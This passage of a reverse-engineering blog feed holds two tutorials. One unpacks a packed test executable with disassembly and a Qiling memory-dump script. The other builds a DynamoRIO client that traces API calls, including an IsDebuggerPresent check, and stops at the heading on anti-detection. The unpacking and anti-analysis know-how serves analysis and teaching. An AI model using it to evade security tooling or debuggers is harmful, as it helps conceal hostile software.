    uVar5 = (*(code *)<span class="hljs-number">0x0</span>)();
    uVar1 = in((<span class="hljs-keyword">int16_t</span>)(uVar5 &gt;&gt; <span class="hljs-number">0x20</span>));
    pcVar3 = *(<span class="hljs-keyword">char</span> **)<span class="hljs-number">0x422008</span>;
    pcVar4 = *(<span class="hljs-keyword">char</span> **)<span class="hljs-number">0x42200c</span>;
    <span class="hljs-keyword">for</span> (iVar2 = *(<span class="hljs-keyword">int32_t</span> *)<span class="hljs-number">0x422010</span>; iVar2 != <span class="hljs-number">0</span>; iVar2 = iVar2 + <span class="hljs-number">-1</span>) {
        *pcVar4 = *pcVar3 + <span class="hljs-string">'4'</span>;
        pcVar3 = pcVar3 + <span class="hljs-number">1</span>;
        pcVar4 = pcVar4 + <span class="hljs-number">1</span>;
    }
    <span class="hljs-keyword">return</span> uVar5 &amp; <span class="hljs-number">0xffffffff00000000</span> | (<span class="hljs-keyword">uint64_t</span>)((<span class="hljs-keyword">uint32_t</span>)uVar5 &amp; <span class="hljs-number">0xffffff00</span> | (<span class="hljs-keyword">uint32_t</span>)uVar1);
}
</code></pre>
<p>The code is missing, some parts are not interpreted as functions, so the decompiler cannot detect them. Junk code added in the packer also shows the decompiler as broken, for example the function <code>func_0x00422129</code>. So let’s try to go through disassembly.</p>
<p>Our goal here is to dump the software from memory after decrypting the sections. So we will examine the decrypt instructions on disassembly.</p>
<pre><code class="lang-javascript">;  DecryptData proc    src: dword, <span class="hljs-attr">dest</span>: dword, <span class="hljs-attr">count</span>: dword
<span class="hljs-number">0x0042212c</span>  pushal
<span class="hljs-number">0x0042212d</span>  mov   ecx, dword [ebp + <span class="hljs-number">0x10</span>]   ;count
<span class="hljs-number">0x00422130</span>  mov   esi, dword [ebp + <span class="hljs-number">8</span>]  ;src
<span class="hljs-number">0x00422133</span>  mov   edi, dword [ebp + <span class="hljs-number">0xc</span>] ;dest
<span class="hljs-number">0x00422136</span>  jmp   <span class="hljs-number">0x42213d</span>
<span class="hljs-number">0x00422138</span>  lodsb al, byte [esi]
<span class="hljs-number">0x00422139</span>  sub   al, <span class="hljs-number">0xcc</span>   ; <span class="hljs-number">204</span>
<span class="hljs-number">0x0042213b</span>  stosb byte es:[edi], al
<span class="hljs-number">0x0042213c</span>  dec   ecx
<span class="hljs-number">0x0042213d</span>  or    ecx, ecx
<span class="hljs-number">0x0042213f</span>  jne   <span class="hljs-number">0x422138</span>
</code></pre>
<p>This part does the opposite of the <code>EncryptData()</code> function. The reason why this function is executed several times is that all data is encrypted with the same function.</p>
<p>Ok, our goal here is to dump the partitions from memory immediately after the decrypt procedure. Actually unpacking exactly is very easy with Qiling. But I won’t go into IAT rebuild in this article. And here is the function that decrypts the sections:</p>
<pre><code class="lang-javascript">; DecryptSections
mov edx, <span class="hljs-number">0x22B</span>   ; ptr ORIGIN_PE_INFO
add edx, ebp
lea edx, dword ptr ds:[edx + <span class="hljs-number">0x10</span>] ; [edx].section_encry_info
mov eax, dword ptr ds:[edx] ; eax = [edx].sec_rva
jmp <span class="hljs-number">0x9500C0</span>
mov esi, dword ptr ss:[ebp + <span class="hljs-number">0x45B</span>]
add esi, eax
mov edi, esi
mov ecx, dword ptr ds:[edx + <span class="hljs-number">0x4</span>]  
push ecx
push edi
push esi
call dword ptr ss:[ebp + <span class="hljs-number">0x457</span>]
add edx, <span class="hljs-number">0x8</span>
mov eax, dword ptr ds:[edx]
or eax, eax
jne <span class="hljs-number">0x9500A5</span>
</code></pre>
<pre><code class="lang-c"><span class="hljs-keyword">typedef</span> <span class="hljs-class"><span class="hljs-keyword">struct</span> _<span class="hljs-title">ORIGIN_PE_INFO</span> {</span>
    <span class="hljs-comment">//! The offset, relative to the shell.</span>
    DWORD entry_point;
    <span class="hljs-comment">//! The offset of the original import table, relative to the load segment.</span>
    DWORD imp_table_offset;
    <span class="hljs-comment">//! The relative virtual address of the relocation table.</span>
    DWORD reloc_table_rva;
    <span class="hljs-comment">//! The image base.</span>
    VOID* image_base;
    <span class="hljs-comment">//! The encryption information of sections, up to 0x40 sections and a blank structure.</span>
    ENCRY_INFO section_encry_info[MAX_ENCRY_SECTION_COUNT + <span class="hljs-number">1</span>];
} ORIGIN_PE_INFO;
</code></pre>
<p>If we analyze it dynamically on x32dbg. We see that after decrypting the data, it jumps to <code>[ebp+0xAF]</code> which it stores locally. Here are the codes that decrypt the sections.</p>
<pre><code class="lang-javascript"><span class="hljs-number">008</span>F20E3 | <span class="hljs-number">6</span>A <span class="hljs-number">00</span>          | push <span class="hljs-number">0x0</span>                       
<span class="hljs-number">008</span>F20E5 | FF95 AB000000  | call dword ptr ss:[ebp+<span class="hljs-number">0xAB</span>]   
<span class="hljs-number">008</span>F20EB | <span class="hljs-number">8985</span> AF000000  | mov dword ptr ss:[ebp+<span class="hljs-number">0xAF</span>],eax
........
</code></pre>
<h2 id="heading-automate-unpacking-with-qiling-framework">Automate Unpacking with Qiling Framework</h2>
<p>In this section we will see some of the functions in the Qiling Framework and then we will develop a software that automatically decodes and dump partitions. Since most API implementations of the Qiling Framework on Windows are missing, I will also show how to hook some functions (I may even post a PR for them later).</p>
<p>First, let’s take a look at what exactly the Qiling Framework is.</p>
<h3 id="heading-qiling-framework-structure">Qiling Framework Structure</h3>
<p>Unicorn is a CPU emulator. It is simply a framework that can only emulate processor instructions. Qiling is a high-level framework that covers that too and can even emulate operating system files. Based on this information, when we look at the structure of the Qiling project on GitHub, we see several features implemented in detail.</p>
<p>For example, most famous file structures are defined in the loader folder:</p>
<pre><code class="lang-javascript">qiling\qiling\loader
qiling\qiling\loader\macho_parser
qiling\qiling\loader\__init__.py
qiling\qiling\loader\blob.py
qiling\qiling\loader\dos.py
qiling\qiling\loader\elf.py
qiling\qiling\loader\evm.py
qiling\qiling\loader\loader.py
qiling\qiling\loader\macho.py
qiling\qiling\loader\mcu.py
qiling\qiling\loader\pe_uefi.py
qiling\qiling\loader\pe.py
</code></pre>
<p>This folder is important. Because we are going to implement some unimplemented windows apis using the <code>pe.py</code> file here. I will give a small spoiler. For example, we will use the Process structure in <code>pe.py</code> to emulate the <code>GetModuleHandleA</code> function.</p>
<pre><code class="lang-python"><span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">Process</span>:</span>
    <span class="hljs-comment"># let linter recognize mixin members</span>
    cmdline: bytes
    pe_image_address: int
    stack_address: int
    stack_size: int

    dlls: MutableMapping[str, int]
    import_address_table: MutableMapping[str, Mapping]
    import_symbols: MutableMapping[int, Dict[str, Any]]
    export_symbols: MutableMapping[int, Dict[str, Any]]
    libcache: Optional[QlPeCache]

    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">__init__</span>(<span class="hljs-params">self, ql: Qiling</span>):</span>
        self.ql = ql
<span class="hljs-comment"># ...</span>
</code></pre>
<p>There is an os folder to emulate other specific features of operating systems. Within the folder, there are similar features between operating systems, as well as separate files containing specific features.</p>
<pre><code class="lang-plaintext">qiling\qiling\os\windows
qiling\qiling\os\windows\dlls
qiling\qiling\os\windows\__init__.py
qiling\qiling\os\windows\api.py
qiling\qiling\os\windows\clipboard.py
qiling\qiling\os\windows\const.py
qiling\qiling\os\windows\fiber.py
qiling\qiling\os\windows\fncc.py
qiling\qiling\os\windows\handle.py
qiling\qiling\os\windows\registry.py
qiling\qiling\os\windows\structs.py
qiling\qiling\os\windows\thread.py
qiling\qiling\os\windows\utils.py
qiling\qiling\os\windows\wdk_const.py
qiling\qiling\os\windows\windows.py
</code></pre>
<p>Of course, the processors have an arch folder to make the necessary adjustments before the emulation process. It contains implementations of many versions. For example x86.py:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> functools <span class="hljs-keyword">import</span> cached_property

<span class="hljs-keyword">from</span> unicorn <span class="hljs-keyword">import</span> Uc, UC_ARCH_X86, UC_MODE_16, UC_MODE_32, UC_MODE_64
<span class="hljs-keyword">from</span> capstone <span class="hljs-keyword">import</span> Cs, CS_ARCH_X86, CS_MODE_16, CS_MODE_32, CS_MODE_64
<span class="hljs-keyword">from</span> keystone <span class="hljs-keyword">import</span> Ks, KS_ARCH_X86, KS_MODE_16, KS_MODE_32, KS_MODE_64

<span class="hljs-keyword">from</span> qiling.arch.arch <span class="hljs-keyword">import</span> QlArch
<span class="hljs-keyword">from</span> qiling.arch.msr <span class="hljs-keyword">import</span> QlMsrManager
<span class="hljs-keyword">from</span> qiling.arch.register <span class="hljs-keyword">import</span> QlRegisterManager
<span class="hljs-keyword">from</span> qiling.arch <span class="hljs-keyword">import</span> x86_const
<span class="hljs-keyword">from</span> qiling.const <span class="hljs-keyword">import</span> QL_ARCH, QL_ENDIAN

<span class="hljs-class"><span class="hljs-keyword">class</span> <span class="hljs-title">QlArchIntel</span>(<span class="hljs-params">QlArch</span>):</span>
<span class="hljs-meta">    @property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">endian</span>(<span class="hljs-params">self</span>) -&gt; QL_ENDIAN:</span>
        <span class="hljs-keyword">return</span> QL_ENDIAN.EL

<span class="hljs-meta">    @cached_property</span>
    <span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">msr</span>(<span class="hljs-params">self</span>) -&gt; QlMsrManager:</span>
        <span class="hljs-string">"""Model-Specific Registers.
        """</span>

        <span class="hljs-keyword">return</span> QlMsrManager(self.uc)
<span class="hljs-comment"># ...</span>
</code></pre>
<h3 id="heading-unpacker-script">Unpacker Script</h3>
<p>First, let us explain our purpose. We can’t read the chapters because of the encrypted data. For this, we will dump the partitions after they are decrypted. After running the function that decrypts the partitions, it is enough to run the <code>dump_memory_region</code> function.</p>
<p>Since the starting addresses of the functions in the assembly are loaded into local variables to be executed, we must first analyze this. After initializing on x32dbg I find where the decrypt function is loaded.</p>
<pre><code class="lang-plaintext">mov eax,0x7E
add eax,ebp
push dword ptr ds:[eax+0x4]
push 0x0
call dword ptr ss:[ebp+0xAB]
mov dword ptr ss:[ebp+0xAF],eax
</code></pre>
<p>Our target value is <code>[EBP + 0xAF]</code></p>
<p>Only after running these parts (the addresses are known) I will change the EIP and redirect it to the address I want.</p>
<pre><code class="lang-plaintext">pop ebp
sub ebp, 0x6
lea esi,dword ptr ss:[ebp + 0x3E]
.......................
.......................
jmp testfile-packed.EA213D
lodsb 
sub al, 0xCC
stosb 
dec ecx
or ecx, ecx
jne testfile-packed.EA2138
popad 
leave 
ret 0xC
</code></pre>
<p>Python Code:</p>
<pre><code class="lang-python"><span class="hljs-keyword">from</span> qiling <span class="hljs-keyword">import</span> *    
<span class="hljs-keyword">from</span> qiling.const <span class="hljs-keyword">import</span> QL_VERBOSE

<span class="hljs-function"><span class="hljs-keyword">def</span> <span class="hljs-title">dump_memory_region</span>(<span class="hljs-params">ql, address, size</span>):</span>
    <span class="hljs-keyword">try</span>:
        excuted_mem = ql.mem.read(address, size)
    <span class="hljs-keyword">except</span> Exception <span class="hljs-keyword">as</span> err:
        print(<span class="hljs-string">'Unable to read memory region at address: {}. Error: {}'</span>.format(hex(address), err))
        <span class="hljs-keyword">return</span>
    print(<span class="hljs-string">"Dumped"</span>)
    <span class="hljs-keyword">with</span> open(<span class="hljs-string">"unpacked_"</span>+hex(address)+<span class="hljs-string">".bin"</span>, <span class="hljs-string">"wb"</span>) <span class="hljs-keyword">as</span> f:
        f.write(excuted_mem)

exeFile = <span class="hljs-string">"testFile-packed.exe"</span>
ql = Qiling([<span class="hljs-string">"testFile-packed.exe"</span>], <span class="hljs-string">"qiling/examples/rootfs/x86_windows"</span>)

ql.run(end=<span class="hljs-number">0x00422143</span>)

test = ql.arch.regs.read(<span class="hljs-string">"EBP"</span>) + <span class="hljs-number">0xaf</span> <span class="hljs-comment"># test = EBP + 0xaf</span>
xxxx = ql.mem.read(test, <span class="hljs-number">0x4</span>) <span class="hljs-comment"># address = [EBP + 0xaf]</span>

print(<span class="hljs-string">"[EBP + 0xAF]: "</span>, hex(int.from_bytes(xxxx, byteorder=<span class="hljs-string">'little'</span>)))

address = int.from_bytes(xxxx, byteorder=<span class="hljs-string">'little'</span>)

ql.arch.regs.arch_pc = address
ql.arch.regs.eip = address
ql.run()

dump_memory_region(ql, <span class="hljs-number">0x00419000</span>, <span class="hljs-number">0x100</span>)
</code></pre>
<p>Output:</p>
<pre><code class="lang-plaintext">utku%&gt; python main.py
[=]     Initiate stack address at 0xfffdd000
[=]     Loading testFile-packed.exe to 0x400000
[=]     PE entry point at 0x422000
[=]     TEB is at 0x6000
[=]     PEB is at 0x61b0
[=]     LDR is at 0x6630
[=]     Loading ntdll.dll ...
[=]     Done loading ntdll.dll
[=]     Loading kernel32.dll ...
[=]     Loading kernelbase.dll ...
[=]     Done loading kernelbase.dll
[=]     Done loading kernel32.dll
[=]     Loading ucrtbase.dll ...
[=]     Calling ucrtbase.dll DllMain at 0x10298260
[=]     GetSystemTimeAsFileTime(lpSystemTimeAsFileTime = 0xffffcfcc)
[x]     Error encountered while running ucrtbase.dll DllMain, bailing
[=]     Done loading ucrtbase.dll
[=]     GetModuleHandleA(lpModuleName = "Kernel32.dll") = 0x6b800000
[=]     GetProcAddress(hModule = 0x6b800000, lpProcName = "VirtualAlloc") = 0x6b8181b0
[=]     VirtualAlloc(lpAddress = 0, dwSize = 0xe0d, flAllocationType = 0x3000, flProtect = 0x40) = 0x50006f8
[EBP + 0xAF]:  0x50006f8
[=]     GetModuleHandleA(lpModuleName = "Kernel32.dll") = 0x6b800000
[=]     GetProcAddress(hModule = 0x6b800000, lpProcName = "VirtualAlloc") = 0x6b8181b0
[=]     VirtualAlloc(lpAddress = 0, dwSize = 0xe0d, flAllocationType = 0x3000, flProtect = 0x40) = 0x5001505

Dumped
</code></pre>
]]></content:encoded></item><item><title><![CDATA[Tracing and Manipulating Anti-Analysis Techniques with DynamoRIO]]></title><description><![CDATA[This is a post of mine from an old blog (vx.zone). It has been revised again just for 0xReverse.
Introduction
In this blog post, I’ll explain how to trace and manipulate a program with DynamoRIO. I’ll use a simple program to explain the concepts (Sou...]]></description><link>https://0xreverse.com/tracing-and-manipulating-anti-analysis-techniques-with-dynamorio</link><guid isPermaLink="true">https://0xreverse.com/tracing-and-manipulating-anti-analysis-techniques-with-dynamorio</guid><category><![CDATA[dynamorio]]></category><category><![CDATA[instrumentation]]></category><category><![CDATA[tracing]]></category><dc:creator><![CDATA[Utku Çorbacı]]></dc:creator><pubDate>Wed, 30 Apr 2025 20:13:19 GMT</pubDate><content:encoded><![CDATA[<p>This is a post of mine from an old blog (vx.zone). It has been revised again just for 0xReverse.</p>
<h1 id="heading-introduction">Introduction</h1>
<p>In this blog post, I’ll explain how to trace and manipulate a program with DynamoRIO. I’ll use a simple program to explain the concepts (Source code is below this post).</p>
<h1 id="heading-dynamorio-basics">DynamoRIO Basics</h1>
<h2 id="heading-what-is-dynamorio">What is DynamoRIO</h2>
<p>DynamoRIO is a dynamic binary <em>instrumentation</em> framework. It is a tool that can be used to very purposes but we’ll use it for tracing and manipulating and It’s open source, can be found on <a target="_blank" href="https://github.com/DynamoRIO/dynamorio">GitHub</a>.</p>
<p>from DynamoRIO’s website:</p>
<blockquote>
<p><em>DynamoRIO is a runtime code manipulation system that supports code transformations on any part of a program, while it executes. DynamoRIO exports an interface for building dynamic tools for a wide variety of uses: program analysis and understanding, profiling, instrumentation, optimization, translation, etc. Unlike many dynamic tool systems, DynamoRIO is not limited to insertion of callouts/trampolines and allows arbitrary modifications to application instructions via a powerful IA-32/AMD64/ARM/AArch64 instruction manipulation library. DynamoRIO provides efficient, transparent, and comprehensive manipulation of unmodified applications running on stock operating systems (Windows, Linux, or Android, with experimental Mac support) and commodity IA-32, AMD64, ARM, and AArch64 hardware.</em></p>
</blockquote>
<p>DynamoRIO presented by Derek L. Bruening with a <a target="_blank" href="https://www.burningcutlery.com/derek/docs/phd.pdf">whitepaper</a> at 2004 September. It’s a very old project but still maintained and developed. This whitepaper title is “Efficient, Transparent, and Comprehensive Runtime Code Manipulation”. At the beginning of the article they explain their goals and then they explain how DynamoRIO simply works. We need to use this library when writing any client. It contains the main functions that DynamoRIO will run on the client.</p>
<h2 id="heading-how-it-works">How it Works</h2>
<blockquote>
<p><em>DynamoRIO interposes itself between an application and the underlying operating system and hardware. It executes a copy of the application’s code out of a code cache to avoid emulation overhead.</em></p>
</blockquote>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745515094520/5d795d4b-da50-4ce8-91f5-418e0d6d21c5.png" alt class="image--center mx-auto" /></p>
<h3 id="heading-code-cache">Code Cache</h3>
<p>We will do all of our work in the Code Cache section. Therefore, that is the point I want to specifically mention. With the “Code Cache” technology specially designed in DynamoRIO, we can monitor and modify each instruction before it runs. DynamoRIO creates a special section called Code Cache. DynamoRIO has got full authority over this section.</p>
<p><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1745515128234/e43a1862-5d52-464a-9261-b95e483250d5.png" alt class="image--center mx-auto" /></p>
<blockquote>
<p><em>The code cache enables native execution to replace emulation, bringing performance down from a several hundred times slowdown for pure emulation to an order of magnitude.</em></p>
</blockquote>
<p>Instrumented application’s instructions is keep in Code Cache as “basic block”.<br />In fact, every structure in DynamoRIO is very detailed. But I want to go directly to the application part without explaining the details too much.</p>
<h2 id="heading-call-tracing-with-dynamorio">Call Tracing with DynamoRIO</h2>
<p>We have got a very basic example application for tracing. Source code:</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">int</span> <span class="hljs-title">main</span><span class="hljs-params">()</span>
</span>{
    <span class="hljs-keyword">if</span> (IsDebuggerPresent()) {
        <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"uppss debugger detected\n"</span>;
        <span class="hljs-built_in">exit</span>(<span class="hljs-number">0</span>);
    }
    <span class="hljs-built_in">std</span>::<span class="hljs-built_in">cout</span> &lt;&lt; <span class="hljs-string">"Hello World!\n"</span>;
    <span class="hljs-keyword">char</span> merhaba[<span class="hljs-number">6</span>] = <span class="hljs-string">"hello"</span>;
    LPCWSTR filepath = <span class="hljs-string">L"hello.txt"</span>;
    WriteToFile(merhaba, filepath);
}
</code></pre>
<h2 id="heading-libraries">Libraries</h2>
<p>Let’s make a tracer with DynamoRIO’s basic functions. Firstly, we need DynamoRIO’s libraries so i’ll include these on my project.</p>
<pre><code class="lang-c"><span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"dr_api.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"drmgr.h"</span></span>
<span class="hljs-meta">#<span class="hljs-meta-keyword">include</span> <span class="hljs-meta-string">"utils.h"</span></span>
</code></pre>
<p>utils.h need for logging operations never mind it. <code>dr_api.h</code> we need to use this library when writing any client. It contains the main functions that DynamoRIO will run on the client. <code>drmgr.h</code> multi instrumentation library that contains functions to manage basic block operations and instruction operations.</p>
<h3 id="heading-interface-functions">Interface Functions</h3>
<p>Now we will define the 4 functions we need to define in the basic structure of the client. Thread init and exit, client exit (event exit) and the function that manages basic blocks.</p>
<pre><code class="lang-c"><span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">event_exit</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span></span>;
<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">event_thread_init</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *drcontext)</span></span>;
<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">event_thread_exit</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *drcontext)</span></span>;
<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">dr_emit_flags_t</span> <span class="hljs-title">event_app_instruction</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *drcontext, <span class="hljs-keyword">void</span> *tag, <span class="hljs-keyword">instrlist_t</span> *bb, <span class="hljs-keyword">instr_t</span> *instr,
                      <span class="hljs-keyword">bool</span> for_trace, <span class="hljs-keyword">bool</span> translating, <span class="hljs-keyword">void</span> *user_data)</span></span>;
</code></pre>
<p>Ok, now we can write the <code>dr_client_main</code> function which is the EntryPoint of the application. In this function we will save the event functions we defined before.</p>
<pre><code class="lang-c"><span class="hljs-function">DR_EXPORT <span class="hljs-keyword">void</span> <span class="hljs-title">dr_client_main</span><span class="hljs-params">(<span class="hljs-keyword">client_id_t</span> id, <span class="hljs-keyword">int</span> argc, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *argv[])</span>
</span>{
    call_from = <span class="hljs-literal">true</span>;
    dr_set_client_name(<span class="hljs-string">"Maestro - API Tracer by rhotav"</span>,
                       <span class="hljs-string">"https://0xreverse.com"</span>);
    drmgr_init();
    dr_fprintf(STDERR, <span class="hljs-string">"Scope: %s\n"</span>, dr_get_application_name());
    my_id = id;
    dr_log(<span class="hljs-literal">NULL</span>, DR_LOG_ALL, <span class="hljs-number">1</span>, <span class="hljs-string">"Client 'maestro' initializing\n"</span>);

<span class="hljs-meta">#<span class="hljs-meta-keyword">ifdef</span> SHOW_RESULTS</span>
    <span class="hljs-keyword">if</span> (dr_is_notify_on()) {
        dr_fprintf(STDERR, <span class="hljs-string">"Client maestro is running\n"</span>);
    }
<span class="hljs-meta">#<span class="hljs-meta-keyword">endif</span></span>

    dr_register_exit_event(event_exit);
    drmgr_register_bb_instrumentation_event(<span class="hljs-literal">NULL</span>, event_app_instruction, <span class="hljs-literal">NULL</span>);
    drmgr_register_thread_init_event(event_thread_init);
    drmgr_register_thread_exit_event(event_thread_exit);
    tls_idx = drmgr_register_tls_field();
    DR_ASSERT(tls_idx &gt; <span class="hljs-number">-1</span>);
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">event_exit</span><span class="hljs-params">(<span class="hljs-keyword">void</span>)</span>
</span>{
    drmgr_unregister_tls_field(tls_idx);
    drmgr_exit();
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">dr_emit_flags_t</span>
<span class="hljs-title">event_app_instruction</span><span class="hljs-params">(<span class="hljs-keyword">void</span> *drcontext, <span class="hljs-keyword">void</span> *tag, <span class="hljs-keyword">instrlist_t</span> *bb, <span class="hljs-keyword">instr_t</span> *instr,
                      <span class="hljs-keyword">bool</span> for_trace, <span class="hljs-keyword">bool</span> translating, <span class="hljs-keyword">void</span> *user_data)</span>
</span>{
    <span class="hljs-keyword">if</span> (instr_is_call_indirect(instr)) {
        dr_insert_mbr_instrumentation(drcontext, bb, instr, (app_pc)at_call_ind,
                                      SPILL_SLOT_1);
    } 
    <span class="hljs-keyword">return</span> DR_EMIT_DEFAULT;
}
</code></pre>
<p><code>event_app_instruction</code>: This function is intercept all instruction at runtime. Our goal is to show the user ONLY where the CALL instructions in the target application make calls (except system dlls). For this, we need to write a function that will execute every time a CALL instruction is caught.</p>
<pre><code class="lang-c"><span class="hljs-comment">// PFX = "%p"</span>
<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">print_address</span><span class="hljs-params">(<span class="hljs-keyword">file_t</span> f, app_pc addr, <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *prefix)</span>
</span>{
    <span class="hljs-keyword">drsym_error_t</span> symres;
    <span class="hljs-keyword">drsym_info_t</span> sym;
    <span class="hljs-keyword">char</span> name[MAX_SYM_RESULT];
    <span class="hljs-keyword">char</span> file[MAXIMUM_PATH];
    <span class="hljs-keyword">module_data_t</span> *data;
    data = dr_lookup_module(addr);
    <span class="hljs-keyword">if</span> (data == <span class="hljs-literal">NULL</span>) {
        dr_fprintf(f, <span class="hljs-string">"%s "</span> PFX <span class="hljs-string">" ? ??:0\n"</span>, prefix, addr);
        <span class="hljs-keyword">return</span>;
    }
    sym.struct_size = <span class="hljs-keyword">sizeof</span>(sym);
    sym.name = name;
    sym.name_size = MAX_SYM_RESULT;
    sym.file = file;
    sym.file_size = MAXIMUM_PATH;
    symres = drsym_lookup_address(data-&gt;full_path, addr - data-&gt;start, &amp;sym,
                                  DRSYM_DEFAULT_FLAGS);
    <span class="hljs-keyword">if</span> (symres == DRSYM_SUCCESS || symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) {
        <span class="hljs-keyword">const</span> <span class="hljs-keyword">char</span> *modname = dr_module_preferred_name(data); <span class="hljs-comment">// get active module name</span>

        <span class="hljs-keyword">if</span> (modname == <span class="hljs-literal">NULL</span>)
            modname = <span class="hljs-string">"&lt;noname&gt;"</span>;
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">strstr</span>(prefix, <span class="hljs-string">"CALL"</span>)) {
            <span class="hljs-keyword">if</span> (!<span class="hljs-built_in">strstr</span>(modname, dr_get_application_name())) { <span class="hljs-comment">//for only give main module call instructions</span>

                call_from = <span class="hljs-literal">false</span>;
                dr_free_module_data(data);
                <span class="hljs-keyword">return</span>;
            }
        }
        <span class="hljs-keyword">if</span> (<span class="hljs-built_in">strstr</span>(prefix, <span class="hljs-string">"to"</span>)) {
            <span class="hljs-keyword">if</span> (!call_from) {
                dr_free_module_data(data);
                <span class="hljs-keyword">return</span>;
            }
        }
        call_from = <span class="hljs-literal">true</span>;
        dr_fprintf(f, <span class="hljs-string">"%s "</span> PFX <span class="hljs-string">" %s!%s"</span>, prefix, addr, modname, sym.name);
        <span class="hljs-keyword">if</span> (symres == DRSYM_ERROR_LINE_NOT_AVAILABLE) {
            dr_fprintf(f, <span class="hljs-string">" ??:0\n"</span>);
        } <span class="hljs-keyword">else</span> {
            <span class="hljs-comment">//dr_fprintf(f, " %s:%" UINT64_FORMAT_CODE "+" PIFX "\n", sym.file, sym.line, sym.line_offs);</span>
            dr_fprintf(f, <span class="hljs-string">"\n"</span>);
        }
    } <span class="hljs-keyword">else</span>
        dr_fprintf(f, <span class="hljs-string">"%s "</span> PFX <span class="hljs-string">" ? ??:0\n"</span>, prefix, addr);
    dr_free_module_data(data);
}

<span class="hljs-function"><span class="hljs-keyword">static</span> <span class="hljs-keyword">void</span> <span class="hljs-title">at_call_ind</span><span class="hljs-params">(app_pc instr_addr, app_pc target_addr)</span>
</span>{
    <span class="hljs-keyword">file_t</span> f = (<span class="hljs-keyword">file_t</span>)(<span class="hljs-keyword">ptr_uint_t</span>)drmgr_get_tls_field(dr_get_current_drcontext(), tls_idx); <span class="hljs-comment">//Logging</span>
    print_address(f, instr_addr, <span class="hljs-string">"CALL INDIRECT @ "</span>);
    print_address(f, target_addr, <span class="hljs-string">"\t to "</span>);
}
</code></pre>
<p>After writing the function that will be executed during each <code>CALL</code> instruction (<code>at_call_ind</code>), I write the <code>print_address</code> function for a different logging operation. This function presents the symbols of the requesting and received address to the user.</p>
<p>Now let’s see how it comes out.</p>
<pre><code class="lang-plaintext">λ &gt; .\drrun.exe -c maestro.dll -- "API Test Dynamo.exe"
Scope: API Test Dynamo.exe
Client maestro is running
Data file utku\Desktop\maestro.API Test Dynamo.exe.09628.0000.log created
Hello World!
Wrote 7 bytes to "utku\Desktop\merhaba.txt" successfully.
</code></pre>
<p>Log file:</p>
<pre><code class="lang-plaintext">CALL INDIRECT @  0x00007ff642a810e3 API Test Dynamo.exe!main
     to  0x00007ffa20f47c40 KERNEL32.dll!IsDebuggerPresent ??:0
CALL INDIRECT @  0x00007ff642a812ab API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20c6770 MSVCP140.dll!std::ios_base::_Init ??:0
CALL INDIRECT @  0x00007ff642a8134e API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20c8fb0 MSVCP140.dll!std::ctype&lt;&gt;::toupper ??:0
CALL INDIRECT @  0x00007ff642a813bc API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20c8d80 MSVCP140.dll!std::basic_ios&lt;&gt;::setstate ??:0
CALL INDIRECT @  0x00007ff642a813c3 API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20d3ec0 MSVCP140.dll!std::uncaught_exception ??:0
CALL INDIRECT @  0x00007ff642a813d0 API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20cb290 MSVCP140.dll!std::basic_ostream&lt;&gt;::_Osfx ??:0
CALL INDIRECT @  0x00007ff642a813eb API Test Dynamo.exe!std::operator&lt;&lt;&lt;&gt;
     to  0x00007ff9f20c69e0 MSVCP140.dll!std::ios_base::_Tidy ??:0
CALL INDIRECT @  0x00007ff642a81184 API Test Dynamo.exe!main
     to  0x00007ffa20f50180 KERNEL32.dll!CreateFileW ??:0
CALL INDIRECT @  0x00007ff642a811c3 API Test Dynamo.exe!main
     to  0x00007ffa20f50610 KERNEL32.dll!WriteFile ??:0
CALL INDIRECT @  0x00007ff642a81038 API Test Dynamo.exe!wprintf
     to  0x00007ffa1f6a7d40 ucrtbase.dll!_acrt_iob_func ??:0
CALL INDIRECT @  0x00007ff642a81057 API Test Dynamo.exe!wprintf
     to  0x00007ffa1f682330 ucrtbase.dll!_stdio_common_vfwprintf ??:0
CALL INDIRECT @  0x00007ff642a81200 API Test Dynamo.exe!main
     to  0x00007ffa20f4ff00 KERNEL32.dll!CloseHandle ??:0
CALL INDIRECT @  0x00007ff642a81d6a API Test Dynamo.exe!__scrt_is_managed_app
     to  0x00007ffa20f46580 KERNEL32.dll!GetModuleHandleW ??:0
</code></pre>
<h1 id="heading-manipulating-anti-detection-techniques">Manipulating Anti-Detection Techniques</h1>
